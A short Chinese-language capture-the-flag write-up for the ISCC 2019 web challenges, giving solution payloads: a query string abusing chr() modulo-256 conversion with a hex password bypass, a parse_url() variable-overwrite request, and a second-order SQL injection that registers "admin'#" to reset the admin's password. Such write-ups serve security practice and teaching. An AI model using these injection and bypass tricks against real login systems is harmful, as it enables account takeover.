9012-ISCC-Web

接收两个参数：value数组   password

代码审计

w3lc0me_To_ISCC2019

str函数转ascii码时自动取模256；password 采用16进制绕过  

 

payload:

?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x2333

 

########################################################################################################################################

parse_url()函数变量覆盖

payload:

?action=auth&key=abcd&hashed_key=88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589

########################################################################################################################################

新注册一个用户：admin’#366  password: 123456

注册成功

使用注册的用户登录

更改密码，实际admin的密码也更改了。再使用admin登录即可。